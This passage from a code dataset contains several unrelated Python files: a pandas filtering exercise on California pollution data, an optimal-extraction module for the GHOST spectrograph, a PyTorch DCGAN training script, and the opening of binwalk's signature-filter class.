vville_mask = pollution_df[\"City\"] == \"Victorville\"\n\n# vville_df = pollution_df.loc[vville_mask]\n\n# low_co_df = pollution_df.loc[pollution_df[\"CO Mean\"] < 0.3]\n\n# pollution_df.loc[pollution_df[\"Site Num\"] == 306]\n\nages_30s = np.arange(30, 40)\nprint(\n ages_30s \n)\n\n# # Insert code here\n# pollution_df = pd.read_csv(\"pollution_ca_2012_2016.csv\")\n# pollution_df.head()\n\n# # Insert code here\n# pollution_df[\"SO2 Mean\"] < 0.05\n\n# # Insert code here\n# pollution_df[\"CO Mean\"] < 0.01\n\n# # Insert code here\n# pollution_df.loc[(pollution_df[\"SO2 Mean\"] < 0.05) & (pollution_df[\"CO Mean\"] < 0.01)]\n\n# # Insert code here\n# pollution_df.loc[(pollution_df[\"City\"].isin([\"Burbank\", \"Rubidoux\"])) &\n# (pollution_df[\"NO2 Mean\"] > 50)]\n\n# # Insert code here\n# san_bern_df = pollution_df.loc[(pollution_df[\"County\"] == \"San Bernardino\") & \n# ((pollution_df[\"NO2 Mean\"] > 10) | \n# (pollution_df[\"SO2 Mean\"] > 2))]\n\n# volunteers_df = pd.read_csv(\"volunteers.csv\")\n# volunteers_df\n\n# # Insert code here\n# volunteers_df.loc[volunteers_df[\"occupation\"].str.contains(\"driver\")]\n\n# # Insert code here\n# volunteers_df.loc[(volunteers_df[\"occupation\"].str.contains(\"driver\")) |\n# (volunteers_df[\"occupation\"].str.contains(\"student\"))] \n\n# # Insert code here\n# volunteers_df.loc[volunteers_df[\"city\"].str.startswith(\"San\")]\n\n","sub_path":"S7-1/code_snippets.py","file_name":"code_snippets.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"214882972","text":"\"\"\"Given (x,wave,matrices, slit_profile), extract the flux from each order. For \nreadability, we keep this separate from the simulator.... but the simulator is\nrequired in order to run this.\n\nTo run, create a simulated fits file (e.g. \"test_blue.fits\") using ghost module then:\n\nblue_high = pymfe.Extractor(pymfe.ghost.Arm('blue', 'high'))\n\nflux,var = blue_high.two_d_extract(\"test_blue.fits\")\n\nplt.plot(blue_high.w_map[0,:], flux[0,:,0])\n\n\"\"\"\n\nfrom __future__ import division, print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\ntry: \n import pyfits\nexcept:\n import astropy.io.fits as pyfits\nimport pdb\nfrom astropy.modeling import models, fitting\nimport matplotlib.cm as cm\n\nclass Extractor():\n \"\"\"A class for each arm of the spectrograph. The initialisation function takes a \n single string representing the configuration. For GHOST, it can be \"red\" or \"blue\".\n \n The extraction is defined by 3 key parameters: an \"x_map\", which is equivalent to\n 2dFDR's tramlines and contains a physical x-coordinate for every y (dispersion direction)\n coordinate and order, and a \"w_map\", which is the wavelength corresponding to every y\n (dispersion direction) coordinate and order. \n \n sim must include:\n \n spectral_format_with_matrix()\n make_lenslets(fluxes)\n \n fluxes (nlenslets x nobj) array\n nl (nlenslets)\n szx (size in x [non-dispersion] direction)\n mode (string,for error messages)\n lenslet_width, im_slit_sz, microns_pix (together define the make_lenslets output)\n \"\"\"\n \n def __init__(self,sim,transpose_data=True,badpixmask=[]):\n self.sim = sim\n self.transpose_data=transpose_data\n self.badpixmask = badpixmask\n self.x_map,self.w_map,self.blaze,self.matrices = self.sim.spectral_format_with_matrix()\n #Fill in the slit dimensions in \"simulator pixel\"s. based on if we are in the \n #high or standard resolution mode.\n self.define_profile(sim.fluxes)\n \n #Set some default pixel offsets for each lenslet, as used for a square lenslet profile\n ny = self.x_map.shape[1]\n nm = self.x_map.shape[0]\n pix_offset_ix = np.append(np.append([0],np.arange(1,sim.nl).repeat(2)),sim.nl)\n self.square_offsets = np.empty( (2*sim.nl,nm) )\n # The [0,0] component of \"matrices\" measures the size of a detector pixel in the \n # simulated slit image space. i.e. slitmicrons/detpix.\n for i in range(sim.nl):\n self.square_offsets[:,i] = (pix_offset_ix - sim.nl/2.0) * sim.lenslet_width / self.matrices[i,self.x_map.shape[1]//2,0,0]\n self.sim_offsets = np.empty( (self.sim.im_slit_sz,nm) )\n #Creat an array of slit positions in microns. !!! Add an optional offset to this, i.e. a 1D offset !!!\n im_slit_pix_in_microns = (np.arange(self.sim.im_slit_sz) - self.sim.im_slit_sz/2.0) * self.sim.microns_pix\n for i in range(nm):\n self.sim_offsets[:,i] = im_slit_pix_in_microns / self.matrices[i,self.x_map.shape[1]//2,0,0]\n #To aid in 2D extraction, let's explicitly compute the y offsets corresponding to these x offsets...\n #The \"matrices\" map pixels back to slit co-ordinates. \n self.slit_tilt = np.zeros( (nm,ny) )\n for i in range(nm):\n for j in range(ny):\n invmat = np.linalg.inv( self.matrices[i,j] )\n #What happens to the +x direction?\n x_dir_map = np.dot(invmat,[1,0])\n self.slit_tilt[i,j] = x_dir_map[1]/x_dir_map[0]\n \n def define_profile(self,fluxes):\n \"\"\" Manually define the slit profile as used in lenslet extraction. As this is\n a low-level function, all lenslets must be defined. e.g. by convention, for the\n star lenslets of the high resolution mode, lenslets 0,1 and 21 through 27 would \n be zero. Also \"\"\"\n \n if fluxes.shape[0] != self.sim.nl:\n print(\"Error: {0:s} resolution mode must have {1:d} lenslets\".format(self.sim.mode,self.sim.nl))\n else:\n self.square_profile = np.empty( (fluxes.shape[0]*2, fluxes.shape[1]) )\n self.sim_profile = np.empty( (self.sim.im_slit_sz, fluxes.shape[1]) )\n for i in range(fluxes.shape[1]):\n self.square_profile[:,i] = np.array(fluxes[:,i]).repeat(2)\n im_slit=self.sim.make_lenslets(fluxes=fluxes[:,i])\n self.sim_profile[:,i] = np.sum(im_slit, axis=0)\n \n def one_d_extract(self, data=[], file='', lenslet_profile='sim', rnoise=3.0):\n \"\"\" Extract flux by integrating down columns (the \"y\" direction), using an\n optimal extraction method.\n \n Given that some of this code is in common with two_d_extract, the routines could\n easily be merged... however that would make one_d_extract less readable.\n \n Parameters\n ----------\n data: numpy array (optional) \n Image data, transposed so that dispersion is in the \"y\" direction. Note that\n this is the transpose of a conventional echellogram. Either data or file\n must be given\n \n file: string (optional)\n A fits file with conventional row/column directions containing the data to be\n extracted.\n \n lenslet_profile: 'square' or 'sim'\n Shape of the profile of each fiber as used in the extraction. For a final\n implementation, 'measured' should be a possibility. 'square' assigns each\n pixel uniquely to a single lenslet. For testing only\n \n badpix: (float array, float array)\n Output of e.g. np.where giving the bad pixel coordinates.\n \n rnoise: float\n The assumed readout noise.\n \n WARNING: Binning not implemented yet\"\"\"\n \n if len(data)==0:\n if len(file)==0:\n print(\"ERROR: Must input data or file\")\n else:\n if self.transpose_data:\n #Transpose the data from the start.\n data = pyfits.getdata(file).T\n else:\n data = pyfits.getdata(file)\n \n ny = self.x_map.shape[1]\n nm = self.x_map.shape[0]\n nx = self.sim.szx\n \n #Number of \"objects\"\n no = self.square_profile.shape[1]\n extracted_flux = np.zeros( (nm,ny,no) )\n extracted_var = np.zeros( (nm,ny,no) )\n \n #Assuming that the data are in photo-electrons, construct a simple model for the\n #pixel inverse variance.\n pixel_inv_var = 1.0/(np.maximum(data,0)/self.sim.gain + rnoise**2)\n pixel_inv_var[self.badpixmask]=0.0\n \n #Loop through all orders then through all y pixels.\n for i in range(nm):\n print(\"Extracting order: {0:d}\".format(i))\n #Based on the profile we're using, create the local offsets and profile vectors\n if lenslet_profile == 'square':\n offsets = self.square_offsets[:,i]\n profile = self.square_profile\n elif lenslet_profile == 'sim':\n offsets = self.sim_offsets[:,i]\n profile = self.sim_profile\n nx_cutout = 2*int( (np.max(offsets) - np.min(offsets))/2 ) + 2\n phi = np.empty( (nx_cutout,no) )\n for j in range(ny):\n #Check for NaNs\n if self.x_map[i,j] != self.x_map[i,j]:\n extracted_var[i,j,:] = np.nan\n continue\n #Create our column cutout for the data and the PSF. !!! Is \"round\" correct on the next line??? \n x_ix = int(np.round(self.x_map[i,j])) - nx_cutout//2 + np.arange(nx_cutout,dtype=int) + nx//2\n for k in range(no):\n phi[:,k] = np.interp(x_ix - self.x_map[i,j] - nx//2, offsets, profile[:,k])\n phi[:,k] /= np.sum(phi[:,k])\n #Deal with edge effects...\n ww = np.where( (x_ix >= nx) | (x_ix < 0) )[0]\n x_ix[ww]=0\n phi[ww,:]=0.0\n \n #Stop here. \n# if i==10:\n# pdb.set_trace()\n \n #Cut out our data and inverse variance.\n col_data = data[j,x_ix]\n col_inv_var = pixel_inv_var[j,x_ix]\n #Fill in the \"c\" matrix and \"b\" vector from Sharp and Birchall equation 9\n #Simplify things by writing the sum in the computation of \"b\" as a matrix\n #multiplication. We can do this because we're content to invert the \n #(small) matrix \"c\" here. Equation 17 from Sharp and Birchall \n #doesn't make a lot of sense... so lets just calculate the variance in the\n #simple explicit way.\n col_inv_var_mat = np.reshape(col_inv_var.repeat(no), (nx_cutout,no) )\n b_mat = phi * col_inv_var_mat\n c_mat = np.dot(phi.T,phi*col_inv_var_mat)\n pixel_weights = np.dot(b_mat,np.linalg.inv(c_mat))\n extracted_flux[i,j,:] = np.dot(col_data,pixel_weights)\n extracted_var[i,j,:] = np.dot(1.0/np.maximum(col_inv_var,1e-12),pixel_weights**2)\n #if ((i % 5)==1) & (j==ny//2):\n #if (i%5==1) & (j==ny//2):\n #if (j==ny//2):\n # pdb.set_trace()\n \n return extracted_flux, extracted_var\n \n def two_d_extract(self, file='', data=[], lenslet_profile='sim', rnoise=3.0, deconvolve=True):\n \"\"\" Extract using 2D information. The lenslet model used is a collapsed profile, \n in 1D but where we take into account the slit shear/rotation by interpolating this\n 1D slit profile to the nearest two pixels along each row (y-axis in code).\n \n One key difference to Sharp and Birchall is that c_kj (between equations 8 and 9)\n is the correct normalisation for a (fictitious) 1-pixel wide PSF centered exactly\n on a pixel, but not for a continuum. We normalise correctly for a continuum by\n having one of the \\phi functions being one-pixel wide along the slit, and the \n other being unbounded in the dispersion direction.\n \n Note that the input data has to be the transpose of a conventional echellogram\n \n TODO:\n 1) Neaten the approximate matrix inverse square root\n \n Parameters\n ----------\n data: numpy array (optional) \n Image data, transposed so that dispersion is in the \"y\" direction. Note that\n this is the transpose of a conventional echellogram. Either data or file\n must be given\n \n file: string (optional)\n A fits file with conventional row/column directions containing the data to be\n extracted.\n \n lenslet_profile: 'square' or 'sim'\n Shape of the profile of each fiber as used in the extraction. For a final\n implementation, 'measured' should be a possibility. 'square' assigns each\n pixel uniquely to a single lenslet. For testing only\n \n rnoise: float\n The assumed readout noise.\n \n deconvolve: bool\n Do we deconvolve so that neighboring extracted spectral points \n are statistically independent? This is an approximate deconvolution (a linear \n function of 5 neighboring pixels) so is reasonably robust. \"\"\"\n \n if len(data)==0:\n if len(file)==0:\n print(\"ERROR: Must input data or file\")\n else:\n #Transpose the data from the start.\n data = pyfits.getdata(file).T\n\n ny = self.x_map.shape[1]\n nm = self.x_map.shape[0]\n nx = self.sim.szx\n \n #Number of \"objects\"\n no = self.square_profile.shape[1]\n extracted_flux = np.zeros( (nm,ny,no) )\n extracted_var = np.zeros( (nm,ny,no) )\n extracted_covar = np.zeros( (nm,ny-1,no) )\n \n #Assuming that the data are in photo-electrons, construct a simple model for the\n #pixel inverse variance.\n pixel_inv_var = 1.0/(np.maximum(data,0) + rnoise**2)\n pixel_inv_var[self.badpixmask]=0.0\n \n #Loop through all orders then through all y pixels.\n for i in range(nm):\n print(\"Extracting order index: {0:d}\".format(i))\n #Based on the profile we're using, create the local offsets and profile vectors\n if lenslet_profile == 'sim':\n offsets = self.sim_offsets[:,i]\n profile = self.sim_profile\n else:\n print(\"Only sim lenslet profile available for 2D extraction so far...\")\n raise userwarning\n nx_cutout = 2*int( (np.max(offsets) - np.min(offsets))/2 ) + 2\n ny_cutout = 2*int(nx_cutout * np.nanmax(np.abs(self.slit_tilt)) / 2) + 3\n for j in range(ny):\n phi = np.zeros( (ny_cutout,nx_cutout,no) )\n phi1d = np.zeros( (ny_cutout,nx_cutout,no) )\n #Check for NaNs\n if self.x_map[i,j] != self.x_map[i,j]:\n extracted_var[i,j,:] = np.nan\n continue\n #Create our column cutout for the data and the PSF\n x_ix = int(self.x_map[i,j]) - nx_cutout//2 + np.arange(nx_cutout,dtype=int) + nx//2\n y_ix = j + np.arange(ny_cutout, dtype=int) - ny_cutout//2\n for k in range(no):\n x_prof = np.interp(x_ix - self.x_map[i,j] - nx//2, offsets, profile[:,k])\n y_pix = (x_ix - self.x_map[i,j] - nx//2) * self.slit_tilt[i,j] + ny_cutout//2\n frac_y_pix = y_pix - y_pix.astype(int)\n subx_ix = np.arange(nx_cutout,dtype=int)\n phi[y_pix.astype(int),subx_ix,k] = (1-frac_y_pix)*x_prof\n phi[y_pix.astype(int)+1,subx_ix,k] = frac_y_pix*x_prof\n phi[:,:,k] /= np.sum(phi[:,:,k]) \n x_prof /= np.sum(x_prof) \n phi1d[:,:,k] = np.tile(x_prof,ny_cutout).reshape( (ny_cutout, nx_cutout) )\n #Deal with edge effects...\n ww = np.where( (x_ix >= nx) | (x_ix < 0) )[0]\n x_ix[ww]=0\n phi[:,ww,:]=0.0\n phi1d[:,ww,:]=0.0\n ww = np.where( (y_ix >= ny) | (y_ix < 0) )[0]\n y_ix[ww]=0\n phi[ww,:,:]=0.0\n xy = np.meshgrid(y_ix, x_ix, indexing='ij') \n #Cut out our data and inverse variance.\n col_data = data[xy].flatten()\n col_inv_var = pixel_inv_var[xy].flatten()\n #Fill in the \"c\" matrix and \"b\" vector from Sharp and Birchall equation 9\n #Simplify things by writing the sum in the computation of \"b\" as a matrix\n #multiplication. We can do this because we're content to invert the \n #(small) matrix \"c\" here. Equation 17 from Sharp and Birchall \n #doesn't make a lot of sense... so lets just calculate the variance in the\n #simple explicit way.\n col_inv_var_mat = np.reshape(col_inv_var.repeat(no), (ny_cutout*nx_cutout,no) )\n phi = phi.reshape( (ny_cutout*nx_cutout,no) )\n phi1d = phi1d.reshape( (ny_cutout*nx_cutout,no) )\n b_mat = phi * col_inv_var_mat\n c_mat = np.dot(phi.T,phi1d*col_inv_var_mat)\n pixel_weights = np.dot(b_mat,np.linalg.inv(c_mat))\n# if (j==1000):\n# pdb.set_trace()\n extracted_flux[i,j,:] = np.dot(col_data,pixel_weights)\n extracted_var[i,j,:] = np.dot(1.0/np.maximum(col_inv_var,1e-12),pixel_weights**2)\n if (j > 0):\n extracted_covar[i,j-1,:] = np.dot(1.0/np.maximum(col_inv_var,1e-12),pixel_weights* \\\n np.roll(last_pixel_weights,-nx_cutout, axis=0))\n last_pixel_weights = pixel_weights.copy()\n# if (j > 591):\n# pdb.set_trace()\n if (deconvolve):\n #Create the diagonals of the matrix Q gradually, using the Taylor approximation for\n #the matrix inverse.\n #(Bolton and Schlegel 2009, equation 10)\n #D = diag(C)\n #A = D^{-1/2} (C-D) D^{-1/2}, so C = D^{1/2}(I + A)D^{1/2}\n #Then if Q = (I - 1/2 A + 3/8 A^2) D^{-1/2}\n #... then C^{-1} = QQ, approximately.\n #Note that all of this effort doesn't really seem to achieve much at all in practice...\n #an extremely marginal improvement in resolution... but at least formal pixel-to-pixel\n #data independence is returned.\n extracted_sig = np.sqrt(extracted_var)\n a_diag_p1 = extracted_covar/extracted_sig[:,:-1,:]/extracted_sig[:,1:,:]\n# a_diag_m1 = extracted_covar/extracted_var[:,1:,:]\n Q_diag = np.ones( (nm,ny,no) )\n Q_diag[:,:-1,:] += 3/8.0*a_diag_p1**2\n Q_diag[:,1:,:] += 3/8.0*a_diag_p1**2\n# Q_diag[:,:-1,:] += 3/8.0*a_diag_p1*a_diag_m1\n# Q_diag[:,1:,:] += 3/8.0*a_diag_p1*a_diag_m1\n Q_diag /= extracted_sig\n extracted_sqrtsig = np.sqrt(extracted_sig)\n Q_diag_p2 = 3/8.0*a_diag_p1[:,:-1,:]*a_diag_p1[:,1:,:]/extracted_sqrtsig[:,2:,:]/extracted_sqrtsig[:,:-2,:]\n# Q_diag_m2 = 3/8.0*a_diag_m1[:,:-1,:]*a_diag_m1[:,1:,:]/extracted_sig[:,:-2,:]\n# Q_diag_m1 = -0.5*a_diag_m1/extracted_sig[:,:-1,:]\n Q_diag_p1 = -0.5*a_diag_p1/extracted_sqrtsig[:,1:,:]/extracted_sqrtsig[:,:-1,:]\n #The approximation doesn't seem to be quite right, with the ~3% uncertainty on the diagonal of cinv, when there should\n #only be a ~1% uncertainty (obtained by going to the next term in the Taylor expansion). But pretty close...\n #Q = np.diag(Q_diag[0,:,0]) + np.diag(Q_diag_m1[0,:,0],k=-1) + np.diag(Q_diag_p1[0,:,0],k=+1) + np.diag(Q_diag_p2[0,:,0],k=+2) + np.diag(Q_diag_m2[0,:,0],k=-2)\n #cinv_approx = np.dot(Q,Q)\n #cinv = np.diag(extracted_var[0,:,0]) + np.diag(extracted_covar[0,:,0],k=1) + np.diag(extracted_covar[0,:,0],k=-1)\n #cinv = np.linalg.inv(cinv)\n #Now we have a sparse matrix with 5 terms. We need to sum down the rows, ignoring the \n #edge pixels\n# s_vect = Q_diag[:,2:-2,:] + Q_diag_p1[:,1:-2,:] + Q_diag_m1[:,2:-1,:] + Q_diag_p2[:,:-2,:] + Q_diag_m2[:,2:,:]\n s_vect = Q_diag.copy()\n s_vect[:,:-1,:] += Q_diag_p1\n s_vect[:,:-2,:] += Q_diag_p2\n s_vect[:,1:,:] += Q_diag_p1\n s_vect[:,2:,:] += Q_diag_p2\n new_var = 1.0/s_vect**2\n new_flux = extracted_flux*Q_diag/s_vect\n new_flux[:,:-1,:] += extracted_flux[:,1:,:]*Q_diag_p1/s_vect[:,1:,:]\n new_flux[:,:-2,:] += extracted_flux[:,2:,:]*Q_diag_p2/s_vect[:,2:,:]\n new_flux[:,1:,:] += extracted_flux[:,:-1,:]*Q_diag_p1/s_vect[:,:-1,:]\n new_flux[:,2:,:] += extracted_flux[:,:-2,:]*Q_diag_p2/s_vect[:,:-2,:]\n \n #Fill in the Variance and Flux arrays with NaNs, so that the (not computed) edges \n #are undefined.\n # new_flux = np.empty_like(extracted_flux)\n # new_var = np.empty_like(extracted_var)\n # new_flux[:,:,:]=np.nan\n # new_var[:,:,:]=np.nan\n #Now fill in the arrays.\n # new_var[:,2:-2,:] = 1.0/s_vect**2\n # new_flux[:,2:-2,:] = extracted_flux[:,2:-2,:]*Q_diag[:,2:-2,:]/s_vect \n #\n # new_flux[:,2:-2,:] += extracted_flux[:,1:-3,:]*Q_diag_p1[:,1:-2,:]/s_vect\n # new_flux[:,2:-2,:] += extracted_flux[:,3:-1,:]*Q_diag_p1[:,2:-1,:]/s_vect\n # new_flux[:,2:-2,:] += extracted_flux[:,:-4,:] *Q_diag_p2[:,:-2,:]/s_vect\n # new_flux[:,2:-2,:] += extracted_flux[:,4:,:] *Q_diag_p2[:,2:,:]/s_vect\n \n return new_flux, new_var\n else:\n return extracted_flux, extracted_var\n \n \n def find_lines(self,data,arcfile='lines.txt',outfile='arclines.txt', hw=10,flat_data=[]):\n \"\"\"Find lines near the locations of input arc lines.\n \n Parameters\n ----------\n data: numpy array\n data array\n \n arcfile: string\n file containing lines \"\"\"\n\n #First, extract the data\n flux,var = self.one_d_extract(data=data, rnoise=self.sim.rnoise)\n #Read in the lines\n lines = np.loadtxt(arcfile)\n #Only use the first lenslet.\n flux = flux[:,:,0]\n ny = self.x_map.shape[1]\n nm = self.x_map.shape[0]\n nx = self.sim.szx\n lines_out=[]\n if len(flat_data)>0:\n data_to_show = data - 0.05*flat_data\n else:\n data_to_show = data.copy()\n plt.clf()\n plt.imshow( np.arcsinh( (data_to_show-np.median(data_to_show))/1e2) , interpolation='nearest', aspect='auto', cmap=cm.gray)\n for m_ix in range(nm):\n w_ix = np.interp(lines,self.w_map[m_ix,:],np.arange(ny))\n ww = np.where( (w_ix >= hw) & (w_ix < ny-hw) )[0]\n w_ix = w_ix[ww]\n arclines_to_fit = lines[ww]\n for i,ix in enumerate(w_ix):\n x = np.arange(ix-hw,ix+hw,dtype=np.int)\n y = flux[m_ix,x]\n y -= np.min(y) #Rough...\n if np.max(y)< 25*self.sim.rnoise:\n continue\n g_init = models.Gaussian1D(amplitude=np.max(y), mean=x[np.argmax(y)], stddev=1.5)\n fit_g = fitting.LevMarLSQFitter()\n g = fit_g(g_init, x, y)\n #Wave, ypos, xpos, m, amplitude, fwhm\n xpos = nx//2+np.interp(g.mean.value,np.arange(ny),self.x_map[m_ix])\n ypos = g.mean.value\n plt.plot(xpos,ix,'bx')\n plt.plot(xpos,ypos,'rx') #!!! Maybe around the other way?\n plt.text(xpos+10,ypos,str(arclines_to_fit[i]),color='green',fontsize=10)\n lines_out.append( [arclines_to_fit[i],ypos,xpos,m_ix+self.sim.m_min,g.amplitude.value, g.stddev.value*2.3548] )\n plt.axis([0,nx,ny,0])\n lines_out = np.array(lines_out)\n np.savetxt(outfile,lines_out,fmt='%9.4f %7.2f %7.2f %2d %7.1e %4.1f')\n \n","sub_path":"pymfe/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":22573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"382847439","text":"import time\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.optim as optim\nimport torch.utils.data\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torchvision.utils as vutils\nfrom models.nets_torch import weights_init, Discriminator, Generator\nfrom models.opt_torch import OptGAN\nfrom utils.gan_funcs import plot_real_vs_fake_images\n\n# print_every = 50\nprint_every = 1\nngpu = 1\nepochs = 2\nbatch_size = 256\nseed = 9331\nrandom.seed(seed)\ntorch.manual_seed(seed)\ndataroot = \"data/celeba\"\nworkers = 2\nlr = 0.0002\nbeta1 = 0.5\nimage_size = 64\nnum_channels = 3\nlatent_n = 100\nngf = 64\nndf = 64\n\ndataset = dset.ImageFolder(root=dataroot,\n transform=transforms.Compose([\n transforms.Resize(image_size),\n transforms.CenterCrop(image_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size,\n shuffle=True, num_workers=workers)\n\ndevice = torch.device(\"cuda:0\" if (torch.cuda.is_available() and ngpu > 0) else \"cpu\")\nnetG = Generator(ngpu, latent_n, ngf, num_channels).to(device)\n\nif (device.type == 'cuda') and (ngpu > 1):\n netG = nn.DataParallel(netG, list(range(ngpu)))\n\nnetG.apply(weights_init)\n\nnetD = Discriminator(ngpu, num_channels, ndf).to(device)\n\nif (device.type == 'cuda') and (ngpu > 1):\n netD = nn.DataParallel(netD, list(range(ngpu)))\n\nnetD.apply(weights_init)\n\ncriterion = nn.BCELoss()\nfixed_noise = torch.randn(64, latent_n, 1, 1, device=device)\noptimizerD = optim.Adam(netD.parameters(), lr=lr, betas=(beta1, 0.999))\noptimizerG = optim.Adam(netG.parameters(), lr=lr, betas=(beta1, 0.999))\nimg_list, G_losses, D_losses = [], [], []\niters = 0\n\nopt_gan = OptGAN(netG, optimizerG, netD, optimizerD, latent_n,\n criterion, device)\n\nprint(\"Starting Training Loop...\")\nfor epoch in range(epochs):\n t0 = time.time()\n for i, data in enumerate(dataloader, 0):\n tic = time.time()\n label, fake = opt_gan.update_discriminator(data)\n opt_gan.update_generator(label, fake)\n toc = time.time()\n\n if i % print_every == 0:\n message = f'[{epoch:d}/{epochs:d}][{i:d}/{len(dataloader):d}] '\n message += f'|| Loss_D: {opt_gan.errD.item():2.2f} '\n message += f'|| Loss_G: {opt_gan.errG.item():2.2f} '\n message += f'|| D(x): {opt_gan.D_x:2.2f} '\n message += f'|| D(G(z)): {opt_gan.D_G_z1:2.2f} / {opt_gan.D_G_z2:2.2f} '\n message += f'|| {toc - tic:2.2f} sec'\n print(message)\n\n G_losses.append(opt_gan.errG.item())\n D_losses.append(opt_gan.errD.item())\n\n if (iters % 500 == 0) or ((epoch == epochs - 1) and (i == len(dataloader) - 1)):\n with torch.no_grad():\n fake = netG(fixed_noise).detach().cpu()\n img_list.append(vutils.make_grid(fake, padding=2, normalize=True))\n iters += 1\n t1 = time.time()\n print(f'Epoch took {t1 - t0:2.2f} sec')\n\nplot_real_vs_fake_images(dataloader, img_list, device)\n","sub_path":"models/gan_torch.py","file_name":"gan_torch.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"421807769","text":"import re\nimport binwalk.common as common\nfrom binwalk.smartsignature import SmartSignature\nfrom binwalk.compat import *\n\nclass MagicFilter:\n\t'''\n\tClass to filter libmagic results based on include/exclude rules and false positive detection.\n\tAn instance of this class is available via the Binwalk.filter object.\n\tNote that all filter strings should be in lower case.\n\n\tExample code which creates include, exclude, and grep filters before running a binwalk scan:\n\n\t\timport binwalk\n\n\t\tbw = binwalk.Binwalk()\n\n\t\t# Include all signatures whose descriptions contain the string 'filesystem' in the first line of the signature, even if those signatures are normally excluded.\n\t\t# Note that if exclusive=False was specified, this would merely add these signatures to the default signatures.\n\t\t# Since exclusive=True (the default) has been specified, ONLY those matching signatures will be loaded; all others will be ignored.\n\t\tbw.filter.include('filesystem')\n\n\t\t# Exclude all signatures whose descriptions contain the string 'jffs2', even if those signatures are normally included.\n\t\t# In this case, we are now searching for all filesystem signatures, except JFFS2.\n\t\tbw.filter.exclude('jffs2')\n\n\t\t# Add a grep filter. Unlike the include and exclude filters, it does not affect which results are returned by Binwalk.scan(), but it does affect which results\n\t\t# are printed by Binwalk.display.results(). This is particularly useful for cases like the bincast scan, where multiple lines of results are returned per offset,\n\t\t# but you only want certian ones displayed. In this case, only file systems whose description contain the string '2012' will be displayed.\n\t\tbw.filter.grep(filters=['2012'])\n\n\t\tbw.scan('firmware.bin')\n\t'''\n\n\t# If the result returned by libmagic is \"data\" or contains the text\n\t# 'invalid' or a backslash are known to be invalid/false positives.\n\tDATA_RESULT = \"data\"\n\tINVALID_RESULTS = [\"invalid\", \"\\\\\"]\n\tINVALID_RESULT = \"invalid\"\n\tNON_PRINTABLE_RESULT = \"\\\\\"\n\n\tFILTER_INCLUDE = 0\n\tFILTER_EXCLUDE = 1\n\n\tdef __init__(self, show_invalid_results=False):\n\t\t'''\n\t\tClass constructor.\n\n\t\t@show_invalid_results - Set to True to display results marked as invalid.\n\n\t\tReturns None.\n\t\t'''\n\t\tself.filters = []\n\t\tself.grep_filters = []\n\t\tself.show_invalid_results = show_invalid_results\n\t\tself.exclusive_filter = False\n\t\tself.smart = SmartSignature(self)\n\n\tdef include(self, match, exclusive=True):\n\t\t'''\n\t\tAdds a new filter which explicitly includes results that contain\n\t\tthe specified matching text.\n\n\t\t@match - Regex, or list of regexs, to match.\n\t\t@exclusive - If True, then results that do not explicitly contain\n\t\t\t a FILTER_INCLUDE match will be excluded. If False,\n\t\t\t signatures that contain the FILTER_INCLUDE match will\n\t\t\t be included in the scan, but will not cause non-matching\n\t\t\t results to be excluded.\n\t\t\n\t\tReturns None.\n\t\t'''\n\t\tif not isinstance(match, type([])):\n\t\t\tmatches = [match]\n\t\telse:\n\t\t\tmatches = match\n\n\t\tfor m in matches:\n\t\t\tinclude_filter = {}\n\n\t\t\tif m:\n\t\t\t\tif exclusive and not self.exclusive_filter:\n\t\t\t\t\tself.exclusive_filter = True\n\n\t\t\t\tinclude_filter['type'] = self.FILTER_INCLUDE\n\t\t\t\tinclude_filter['filter'] = m\n\t\t\t\tinclude_filter['regex'] = re.compile(m)\n\t\t\t\tself.filters.append(include_filter)\n\n\tdef exclude(self, match):\n\t\t'''\n\t\tAdds a new filter which explicitly excludes results that contain\n\t\tthe specified matching text.\n\n\t\t@match - Regex, or list of regexs, to match.\n\t\t\n\t\tReturns None.\n\t\t'''\n\t\tif not isinstance(match, type([])):\n\t\t\tmatches = [match]\n\t\telse:\n\t\t\tmatches = match\n\n\t\tfor m in matches:\n\t\t\texclude_filter = {}\n\n\t\t\tif m:\n\t\t\t\texclude_filter['type'] = self.FILTER_EXCLUDE\n\t\t\t\texclude_filter['filter'] = m\n\t\t\t\texclude_filter['regex'] = re.compile(m)\n\t\t\t\tself.filters.append(exclude_filter)\n\n\tdef filter(self, data):\n\t\t'''\n\t\tChecks to see if a given string should be excluded from or included in the results.\n\t\tCalled internally by Binwalk.scan().\n\n\t\t@data - String to check.\n\n\t\tReturns FILTER_INCLUDE if the string should be included.\n\t\tReturns FILTER_EXCLUDE if the string should be excluded.\n\t\t'''\n\t\tdata = data.lower()\n\n\t\t# Loop through the filters to see if any of them are a match. \n\t\t# If so, return the registered type for the matching filter (FILTER_INCLUDE | FILTER_EXCLUDE). \n\t\tfor f in self.filters:\n\t\t\tif f['regex'].search(data):\n\t\t\t\treturn f['type']\n\n\t\t# If there was not explicit match and exclusive filtering is enabled, return FILTER_EXCLUDE.\n\t\tif self.exclusive_filter:\n\t\t\treturn self.FILTER_EXCLUDE\n\n\t\treturn self.FILTER_INCLUDE\n\n\tdef invalid(self, data):\n\t\t'''\n\t\tChecks if the given string contains invalid data.\n\t\tCalled internally by Binwalk.scan().\n\n\t\t@data - String to validate.\n\n\t\tReturns True if data is invalid, False if valid.\n\t\t'''\n\t\t# A result of 'data' is never ever valid.\n\t\tif data == self.DATA_RESULT:\n\t\t\treturn True\n\n\t\t# If showing invalid results, just return False.\n\t\tif self.show_invalid_results:\n\t\t\treturn False\n\n\t\t# Don't include quoted strings or keyword arguments in this search, as \n\t\t# strings from the target file may legitimately contain the INVALID_RESULT text.\n\t\tif self.INVALID_RESULT in common.strip_quoted_strings(self.smart._strip_tags(data)):\n\t\t\treturn True\n\n\t\t# There should be no non-printable characters in any of the data\n\t\tif self.NON_PRINTABLE_RESULT in data:\n\t\t\treturn True\n\n\t\treturn False\n\n\tdef grep(self, data=None, 